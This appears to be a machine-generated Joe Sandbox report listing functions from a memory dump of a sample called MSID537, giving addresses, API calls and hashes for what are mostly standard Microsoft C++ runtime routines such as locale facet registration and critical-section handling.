API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: 6855ef3a75f860d4e324ff1a2329e440fb7fce5236dba01bb8b32adb346e1cbf
Instruction ID: 6203cee037b3e19ff46c557d8e221b2334a441410a3b55a6b78a79589634c9db
Opcode Fuzzy Hash: 6855ef3a75f860d4e324ff1a2329e440fb7fce5236dba01bb8b32adb346e1cbf
Instruction Fuzzy Hash: FD01B535D54619DBCF15FB64D846ABE7BF1EF84720F2404A9E4106B2A2DF749E01CB90

Function 00BA38C1 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BA38C8
std::_Lockit::_Lockit.LIBCPMT ref: 00BA38D2

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

collate.LIBCPMT ref: 00BA390C
std::_Facet_Register.LIBCPMT ref: 00BA3923
std::_Lockit::~_Lockit.LIBCPMT ref: 00BA3943

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: 35e75e45bdd8dc0fbd0c11fc57ce3b1ea1f02a1ec9fbfd1da0a27c24acf17804
Instruction ID: 51c0d6b808eb7e56cdb1352ceb023ec3d3a09e6e369caa5365cc9a64bb33a2ac
Opcode Fuzzy Hash: 35e75e45bdd8dc0fbd0c11fc57ce3b1ea1f02a1ec9fbfd1da0a27c24acf17804
Instruction Fuzzy Hash: 1701DE32944619DBCF11EB64C846AAEBBF5EF85B20F240099F4116B3A1DF709F01CB90

Function 00B9780A Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B97811
std::_Lockit::_Lockit.LIBCPMT ref: 00B9781B

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

ctype.LIBCPMT ref: 00B97855
std::_Facet_Register.LIBCPMT ref: 00B9786C
std::_Lockit::~_Lockit.LIBCPMT ref: 00B9788C

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registerctype
String ID:
API String ID: 83828444-0
Opcode ID: d658757df58632817843973d676926608b72834c317caddec0c50f4da776c8bc
Instruction ID: 6b1ca1b99596fa1fb2a2d3d025297145834d7f7ed83ad6d71c2fcfc8d3c715d9
Opcode Fuzzy Hash: d658757df58632817843973d676926608b72834c317caddec0c50f4da776c8bc
Instruction Fuzzy Hash: 6C01D275954619DBCF15EB64D886ABD7BF1EF84310F2408A9E5116B2A1DF709E01CB80

Function 00B97934 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B9793B
std::_Lockit::_Lockit.LIBCPMT ref: 00B97945

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

messages.LIBCPMT ref: 00B9797F
std::_Facet_Register.LIBCPMT ref: 00B97996
std::_Lockit::~_Lockit.LIBCPMT ref: 00B979B6

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: a969fd0d1bdeb53d09eb55e8252bdad6b5943f6a107d74542fcfb98810e16ae2
Instruction ID: 4868b945980d4d89e74afb3c72b442c8e3d873fea0eaa1d0da3a7b5459ae9bf7
Opcode Fuzzy Hash: a969fd0d1bdeb53d09eb55e8252bdad6b5943f6a107d74542fcfb98810e16ae2
Instruction Fuzzy Hash: 5F01D276944619EBCF11EB64C846AAE77F1EF84310F2404A9E4107B3A2CF749E01CB91

Function 00BA3956 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BA395D
std::_Lockit::_Lockit.LIBCPMT ref: 00BA3967

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

messages.LIBCPMT ref: 00BA39A1
std::_Facet_Register.LIBCPMT ref: 00BA39B8
std::_Lockit::~_Lockit.LIBCPMT ref: 00BA39D8

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: 0ada5f7e973ff41e04126682ce9e2bb45f4ed829ad1b8b4cc27e54993785ad80
Instruction ID: 1ebb1c4a0a5b3a5f899ffea74d42b0d203d1415f1d9652ea32b67bc287245b29
Opcode Fuzzy Hash: 0ada5f7e973ff41e04126682ce9e2bb45f4ed829ad1b8b4cc27e54993785ad80
Instruction Fuzzy Hash: B201DE32D44619DBCF11EB64D84AAAE7BF5EF85720F25049AF4116B2A1DF709F01CB80

Function 00BA3BAA Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BA3BB1
std::_Lockit::_Lockit.LIBCPMT ref: 00BA3BBB

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

moneypunct.LIBCPMT ref: 00BA3BF5
std::_Facet_Register.LIBCPMT ref: 00BA3C0C
std::_Lockit::~_Lockit.LIBCPMT ref: 00BA3C2C

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 5f90865f7ce6eab91a316350cf82132bf4138dba19c75368e098645b3c8c190b
Instruction ID: 2a15a25f88e638b92a7c6db09884afaa238425529d46e0116e802d9d9556247f
Opcode Fuzzy Hash: 5f90865f7ce6eab91a316350cf82132bf4138dba19c75368e098645b3c8c190b
Instruction Fuzzy Hash: D2012235808219DBCF11FBA4D846ABEB7F1EF84720F240499F4006B2A1DF749E01CB80

Function 00BA3B15 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BA3B1C
std::_Lockit::_Lockit.LIBCPMT ref: 00BA3B26

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

moneypunct.LIBCPMT ref: 00BA3B60
std::_Facet_Register.LIBCPMT ref: 00BA3B77
std::_Lockit::~_Lockit.LIBCPMT ref: 00BA3B97

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 0f07898166eba1edf0219bec6f2fbad3f83e4b91ef1e7f1456fbc85f5bf2ff8c
Instruction ID: 13751844b05ebbfb2ac429fabcb1cfc9238a6354026c51388293e57420565fef
Opcode Fuzzy Hash: 0f07898166eba1edf0219bec6f2fbad3f83e4b91ef1e7f1456fbc85f5bf2ff8c
Instruction Fuzzy Hash: AC01DE32D44619DBCF11EB64D846AAEBBF2EF85720F250499F514AB2A1CF749E01CB90

Function 00B97CB2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B97CB9
std::_Lockit::_Lockit.LIBCPMT ref: 00B97CC3

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

moneypunct.LIBCPMT ref: 00B97CFD
std::_Facet_Register.LIBCPMT ref: 00B97D14
std::_Lockit::~_Lockit.LIBCPMT ref: 00B97D34

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: d9306b7115ff6f4d351cac44ba3122f7d76e185f1f00c17566742b83c481cb7d
Instruction ID: 1d8e492c64c614438271dd5b9f482a906b5df4d73e8bfb007328ebef3a7bc533
Opcode Fuzzy Hash: d9306b7115ff6f4d351cac44ba3122f7d76e185f1f00c17566742b83c481cb7d
Instruction Fuzzy Hash: B801C075944619DBCF11FBA4D846ABE77F1EF84310F2404A9E8116B2A2DF349E01CB80

Function 00B97C1D Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B97C24
std::_Lockit::_Lockit.LIBCPMT ref: 00B97C2E

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

moneypunct.LIBCPMT ref: 00B97C68
std::_Facet_Register.LIBCPMT ref: 00B97C7F
std::_Lockit::~_Lockit.LIBCPMT ref: 00B97C9F

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: b54ceaae645859301fce3e4b3a0e7f4c8a298e059cdc2d1ca24c275cb6a2a3fd
Instruction ID: 4d8137683d6c2bc7126335ca3b20a10a001d26124c1088f63c470c96d0382c41
Opcode Fuzzy Hash: b54ceaae645859301fce3e4b3a0e7f4c8a298e059cdc2d1ca24c275cb6a2a3fd
Instruction Fuzzy Hash: 0801D231944619DBCF15FB64D946BBE7BF1EF84320F2504A9E4106B2A2CF349E05CB80

Function 00B97DDC Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B97DE3
std::_Lockit::_Lockit.LIBCPMT ref: 00B97DED

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

moneypunct.LIBCPMT ref: 00B97E27
std::_Facet_Register.LIBCPMT ref: 00B97E3E
std::_Lockit::~_Lockit.LIBCPMT ref: 00B97E5E

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: c3481a4ea37ad967def05112793774ed83bf44937a59aff54693c3805fb8e848
Instruction ID: 752d571d011d962fa7224829c8f1c274125912ab73c269c79bf06f4a88a86c53
Opcode Fuzzy Hash: c3481a4ea37ad967def05112793774ed83bf44937a59aff54693c3805fb8e848
Instruction Fuzzy Hash: 1C01D235954A19DBCF11EB64D846ABE77F5EF84720F2404E9E5116B2A2DF309E01CB80

Function 00B97D47 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B97D4E
std::_Lockit::_Lockit.LIBCPMT ref: 00B97D58

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

moneypunct.LIBCPMT ref: 00B97D92
std::_Facet_Register.LIBCPMT ref: 00B97DA9
std::_Lockit::~_Lockit.LIBCPMT ref: 00B97DC9

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 65f1d67631fd96cd8d3ff91b8d0a07a3d43b3c2718f76e9edae77c23a70b6c19
Instruction ID: 053cb534d42f1199c1c9f3003d01fd91dc29009a08bbb7559055f1552efbe001
Opcode Fuzzy Hash: 65f1d67631fd96cd8d3ff91b8d0a07a3d43b3c2718f76e9edae77c23a70b6c19
Instruction Fuzzy Hash: 4B01C075954619DBCF11EB64C846ABE77E1EF84320F2400A9E4106B2A2DF749E01CB90

Function 00BA782B Relevance: 7.5, APIs: 5, Instructions: 37COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00BE4AF8,?,?,00B82627,00BE571C,00BCCCC0), ref: 00BA7835
LeaveCriticalSection.KERNEL32(00BE4AF8,?,?,00B82627,00BE571C,00BCCCC0), ref: 00BA7868
RtlWakeAllConditionVariable.NTDLL ref: 00BA78DF
SetEvent.KERNEL32(?,00B82627,00BE571C,00BCCCC0), ref: 00BA78E9
ResetEvent.KERNEL32(?,00B82627,00BE571C,00BCCCC0), ref: 00BA78F5

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: CriticalEventSection$ConditionEnterLeaveResetVariableWake
String ID:
API String ID: 3916383385-0
Opcode ID: 207ba2beda53f8a31d73637c6b99110fcfb2810ada71e0eefdf4d502e5178328
Instruction ID: 8930db13401e8cb4c8ea76385e4eb23ef82a36a899084b47818a30dba199ae42
Opcode Fuzzy Hash: 207ba2beda53f8a31d73637c6b99110fcfb2810ada71e0eefdf4d502e5178328
Instruction Fuzzy Hash: CC013C35A492A0DFC715AF19FC8CE943BA5FB49711B0500BAE8029B321CF745D01EBD8

Function 00B86090 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00B860F4
GetLastError.KERNEL32 ref: 00B86190

Part of subcall function 00B81FC0: FindResourceW.KERNEL32(00000000,?,00000006,?,00000000,00BC938D,000000FF,?,80070057,?,?,00000000,00000010,00B81B09,?), ref: 00B82040

LoadLibraryExW.KERNEL32(?,00000000,00000000,00000009,00BDB2DC,00000001,00000000), ref: 00B8614E

Strings

ntdll.dll, xrefs: 00B86126

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: DirectoryErrorFindLastLibraryLoadResourceSystem
String ID: ntdll.dll
API String ID: 4113295189-2227199552
Opcode ID: 6818fa9fc2fa23086c243bcf40824e577e04089c5bf915c5f9ff0db0ca806992
Instruction ID: 747bee72d5f8327d95b41d2df719648efcf7caf6941213eab924edf994c704fa
Opcode Fuzzy Hash: 6818fa9fc2fa23086c243bcf40824e577e04089c5bf915c5f9ff0db0ca806992
Instruction Fuzzy Hash: BF316F71640605DBD720EF68CC49BAEB7F5FB44710F14856EE525E72E2EB70A904CB90

Function 00B9D2C2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B9D2C9

Part of subcall function 00B96FF9: _Maklocstr.LIBCPMT ref: 00B97019
Part of subcall function 00B96FF9: _Maklocstr.LIBCPMT ref: 00B97036
Part of subcall function 00B96FF9: _Maklocstr.LIBCPMT ref: 00B97053
Part of subcall function 00B96FF9: _Maklocchr.LIBCPMT ref: 00B97065
Part of subcall function 00B96FF9: _Maklocchr.LIBCPMT ref: 00B97078

_Mpunct.LIBCPMT ref: 00B9D356
_Mpunct.LIBCPMT ref: 00B9D370

Strings

$+xv, xrefs: 00B9D37B

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Maklocstr$MaklocchrMpunct$H_prolog3
String ID: $+xv
API String ID: 2939335142-1686923651
Opcode ID: 97ac2993323615c0d4afdd15d04f07654818ce5b5f7b55cf1b2829d422d7d650
Instruction ID: 9c1bff2f64f4ad9657c6e4ebeb0fd484d96729ff64c70cee0e8fc233973e818e
Opcode Fuzzy Hash: 97ac2993323615c0d4afdd15d04f07654818ce5b5f7b55cf1b2829d422d7d650
Instruction Fuzzy Hash: 8221B0B1908B926FDB21DF75849073BBEF8AB0D301B1449AAE099C7A01D734EA01CB90

Function 00BA4DF4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BA4DFB
_Mpunct.LIBCPMT ref: 00BA4E88
_Mpunct.LIBCPMT ref: 00BA4EA2

Strings

$+xv, xrefs: 00BA4EAD

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Mpunct$H_prolog3
String ID: $+xv
API String ID: 4281374311-1686923651
Opcode ID: 9a41c0380e3aff789c859fc167e4a52b1ad888267210a6bd036b24dc33354c89
Instruction ID: de3448151f46e0b229d49721f7a1819ac6755884bf659cb0460a3d394a636111
Opcode Fuzzy Hash: 9a41c0380e3aff789c859fc167e4a52b1ad888267210a6bd036b24dc33354c89
Instruction Fuzzy Hash: FC218EB1908B926EDB25DF74C490B7BBEE8AB0A700F14499AE059C7A41D774EA01CB90

Function 00BAC012 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00BABFC3,00000000,?,00BE4EA4,?,?,?,00BAC166,00000004,InitializeCriticalSectionEx,00BCF92C,InitializeCriticalSectionEx), ref: 00BAC01F
GetLastError.KERNEL32(?,00BABFC3,00000000,?,00BE4EA4,?,?,?,00BAC166,00000004,InitializeCriticalSectionEx,00BCF92C,InitializeCriticalSectionEx,00000000,?,00BABF1D), ref: 00BAC029
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00BAC051

Strings

api-ms-, xrefs: 00BAC036

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 6befb2b4558415c3ce884f4ac0477bfe19ea72bd51622eec0a72108ce1e72259
Instruction ID: 98f745c4ea48bf9052ef14f791805cbf06d1c36f0a80a0ea71e4463629e28373
Opcode Fuzzy Hash: 6befb2b4558415c3ce884f4ac0477bfe19ea72bd51622eec0a72108ce1e72259
Instruction Fuzzy Hash: 77E01A34284209FBEF301B60EC06F693F99AB05B51F2480B0FA0CE80E0EBA1A85196D4

Function 00B8E350 Relevance: 6.4, APIs: 4, Instructions: 426COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 00B8E3F0
_strcspn.LIBCMT ref: 00B8E412
LocalFree.KERNEL32(?), ref: 00B8E77B
LocalFree.KERNEL32(?), ref: 00B8E7C3

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: FreeLocal_strcspn
String ID:
API String ID: 2585785616-0
Opcode ID: dde7757e60d45a848f995b6d0ad028e55a2525454da4415d95d66008443f4239
Instruction ID: 27a23f1fda54178b49e16b62828f0cf811fdf60c4c61b2348a02560afd01d6ef
Opcode Fuzzy Hash: dde7757e60d45a848f995b6d0ad028e55a2525454da4415d95d66008443f4239
Instruction Fuzzy Hash: 85F13675A00249DFDF15DFA8C884AEEBBF5EF48304F1441A9E825AB261E731EA45CB50

Function 00BC738B Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(E5F50329,?,00000000,?), ref: 00BC73EE

Part of subcall function 00BC002B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00BBC527,?,00000000,-00000008), ref: 00BC00D7

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00BC7649
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00BC7691
GetLastError.KERNEL32 ref: 00BC7734

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
